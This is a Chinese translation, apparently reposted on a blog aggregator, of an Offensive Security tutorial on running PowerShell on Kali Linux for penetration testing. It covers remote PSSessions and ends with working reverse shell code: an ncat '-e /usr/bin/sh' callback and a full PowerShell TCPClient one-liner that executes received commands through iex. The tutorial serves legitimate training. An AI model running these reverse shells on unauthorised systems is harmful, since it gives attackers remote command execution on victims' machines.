kali linux超级用户_如何优雅的在Linux上使用Powershell]
譯文聲明
本文是翻譯文章,文章原作者 TJ Null
文章來(lái)源:https://www.offensive-security.com
原文地址:
https://www.offensive-security.com/offsec/kali-linux-powershell-pentesting/
譯文僅供參考,具體內(nèi)容表達(dá)以及含義原文為準(zhǔn)。
前言
在最近的幾年中,PowerShell顯然已經(jīng)成為了一種功能強(qiáng)大的腳本語(yǔ)言,它是運(yùn)行在windows機(jī)器上實(shí)現(xiàn)系統(tǒng)和應(yīng)用程序管理自動(dòng)化的命令行腳本環(huán)境。不僅如此,微軟還推出了Powershell Core,可以跨平臺(tái)使用,支持 Linux 和 Mac。
在Linux上使用PowerShell可以帶來(lái)諸多好處,例如:
?可以在PowerShell中編寫(xiě)和調(diào)試腳本
?連接到Windows目標(biāo)靶機(jī)
?傳輸文件
但是目前,PowerShell在Linux平臺(tái)上功能還不夠完善,例如:
?所支持的cmdlet不完善
?不能夠在PowerShell中直接使用sudo或exec?不支持WMI或CIM
在WINDOWS上獲取PSSESSION
要想與PSSession進(jìn)行交互,首先在Windows我們需要啟用PSremoting并具有訪問(wèn)系統(tǒng)的憑據(jù)。當(dāng)您啟用PSRemoting時(shí),它使用默認(rèn)的HTTP 5985端口進(jìn)行連接。WS-Management協(xié)議會(huì)幫助我們加密通過(guò)網(wǎng)絡(luò)傳輸?shù)乃?Windows PowerShell 內(nèi)容。在本次測(cè)試中,使用默認(rèn)選項(xiàng)即可。在Kali上首次使用Powshell時(shí),需要安裝一個(gè)單獨(dú)的軟件包,并且需要更改一些配置才能獲取PSSession。我們需要安裝gss ntlmssp,并在PowerShell目錄中創(chuàng)建兩個(gè)符號(hào)鏈接,以確保PowerShell中的WSman模塊正常工作。默認(rèn)情況下,我們的PowerShell位于以下路徑:/ opt / Microsoft / powershell / 7
切換到到上面的目錄。在該目錄中,添加符號(hào)鏈接:
ln -s /usr/lib/x86_64-linux-gnu/libssl.so.1.0.2 libssl.so.1.0.0ln?-s?/usr/lib/x86_64-linux-gnu/libcrypto.so.1.0.2?libcrypto?.so.1.0.0準(zhǔn)備工作已經(jīng)完成,讓我們打開(kāi)kali系統(tǒng)上Powshell終端,鍵入以下命令來(lái)創(chuàng)建一個(gè)新的PSSession。$offsecsession=New-PSSession-ComputerName-Authentication Negotiate -Credential使用正確的憑據(jù),我們就可以實(shí)現(xiàn)在PSSession中與Windows目標(biāo)進(jìn)行交互。運(yùn)行結(jié)果如下圖所示:創(chuàng)建PSSession后,我們可以使用Invoke-Command的Session參數(shù)在PSSession中運(yùn)行命令或腳本。我們還可以通過(guò)Invoke-Command命令實(shí)現(xiàn)與多臺(tái)主機(jī)進(jìn)行交互。以下是一個(gè)演示示例,在多臺(tái)主機(jī)上執(zhí)行hostname命令:Invoke-Command -Session $offsecsession -ScriptBlock {hostname}
通過(guò)這種方法,我們就可以在PSSession后臺(tái)執(zhí)行命令。ScriptBlock還允許我們同時(shí)執(zhí)行多條命令,只需要使用‘;’將每條命令隔開(kāi)即可。下面是演示示例:
Invoke-Command -Session $offsecsession -ScriptBlock{hostname; whoami;whoami/priv}
命令回顯:如上圖所示,我們可以獲取系統(tǒng)的主機(jī)名,當(dāng)前域和用戶(hù)的名稱(chēng),以及當(dāng)前用戶(hù)的安全權(quán)限。接下來(lái),讓我們看一下如何在Linux上獲得PSSession。在LINUX系統(tǒng)上獲取PSSESSION
PSSession不僅局限于Windows,在Linux上運(yùn)行Powershell同樣允許我們?cè)贚inux靶機(jī)中啟動(dòng)PSSession。我們需要先運(yùn)行ssh服務(wù),同時(shí)修改sshd_config文件:?PasswordAuthentication yes?Optional: PubkeyAuthentication yes在Ubuntu上鍵入以下命令:Subsystem powershell /snap/bin/pwsh --sshs -NoLogo -NoProfile接著我們保存對(duì)sshd_config的修改,并且重啟ssh服務(wù)。這樣我們便可以在Linux靶機(jī)上獲得PSSession:
我們還可以通過(guò)“ Invoke-Command” cmdlet在PSSession中運(yùn)行Bash命令或PowerShell命令。
Tips:在Linux并非支持所有的cmdlet命令。但是隨著PowerShell的不斷更新與完善,支持cmdlet的指令集也會(huì)不斷更新。目前我們已經(jīng)實(shí)現(xiàn)在Linux靶機(jī)上獲取PSSession,下面讓我們看一下如何使用Powshell在Linux獲取反向shell。
在LINUX上獲取反向SHELL
在滲透測(cè)試中,PowerShell還可以進(jìn)行反彈shell的操作。我們可以在靶機(jī)上執(zhí)行二進(jìn)制文件,傳輸文件,讀寫(xiě)文件。我將在這一小節(jié)中,演示如何通過(guò)ncat命令獲取反彈shell。我們使用一個(gè)名為Start-Process的cmdlet可以幫助我們達(dá)到目的。下面是一個(gè)演示示例:Start-Process/usr/bin/ncat-NoNewWindow-Argumentlist'192.168.117.129 443 -e /usr/bin/sh'我們使用了Start-Process命令運(yùn)行了ncat,并向kali回調(diào)了一個(gè)shell。我們只需要在kali上保持監(jiān)聽(tīng)即可。如下圖所示,我們成功的在kali上獲取了一個(gè)反向shell:我們還可以使用pwsh后邊跟上-Command參數(shù),直接在bash中執(zhí)行Powshell命令:pwsh-Command"Start-Process/usr/bin/ncat-NoNewWindow-Argumentlist '192.16.117.129 443 -e /usr/bin/sh'"
運(yùn)行結(jié)果如下圖所示,我們同樣獲取了一個(gè)反彈shell:簡(jiǎn)化操作
我們甚至還可以借助Powshell本身的功能來(lái)進(jìn)行反彈shell。腳本如下:$callback = New - Object System.Net.Sockets.TCPClient("IP ADDRESS", PORT);$stream = $callback.GetStream();[byte[]]$bytes = 0..65535|% {0};while (($i = $stream.Read($bytes, 0, $bytes.Length)) - ne 0) {;$data = (New - Object - TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i);$sendback = (iex $data 2 > &1 | Out - String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte, 0, $sendbyte.Length);$stream.Flush()};$callback.Close()我們可以把腳本集中放置在一行,并將其保存為文本文件(例如posh.ps1):$callback=New-Object System.Net.Sockets.TCPClient("192.168.117.134",443);$stream=$callback.GetStream();[byte[]]$bytes=0..65535|%{0};while(($i=$stream.Read($bytes,0,$bytes.Length))-ne0){;$data=(New-Object-TypeNameSystem.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 =$sendback +"PS"+(pwd).Path+">";$sendbyte=([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$callback.Close()當(dāng)靶機(jī)執(zhí)行此腳本時(shí),同樣可以達(dá)到反彈shell的目的:我們可以在shell中運(yùn)行bash或powershell命令:
結(jié)論
如今,powshell已經(jīng)成為了滲透測(cè)試中一大利器。本文只是演示了幾個(gè)簡(jiǎn)單的示例,Powshell功能遠(yuǎn)不僅此。從pentester的角度來(lái)看,我們使用了PowerShell拓展了我們后滲透測(cè)試的手段。防御者也通過(guò)Powershell來(lái)檢測(cè)攻擊者的行為。后續(xù),我們將繼續(xù)研究PowerShell在linux更多利用手法。
參考文獻(xiàn)
Kali Bug Report
(https://bugs.kali.org/view.php?id=5915)PowerShell (GitHub)
(https://github.com/PowerShell/PowerShell/issues/11374)Invoke-Command (Microsoft)
(https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/invoke-command?view=powershell-7)點(diǎn)分享點(diǎn)點(diǎn)贊點(diǎn)在看
總結(jié)
以上是生活随笔為你收集整理的kali linux超级用户_如何优雅的在Linux上使用Powershell]的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。
- 上一篇: c语言万能源代码,经典C语言源代码
- 下一篇: NPDP新产品考试考后感想~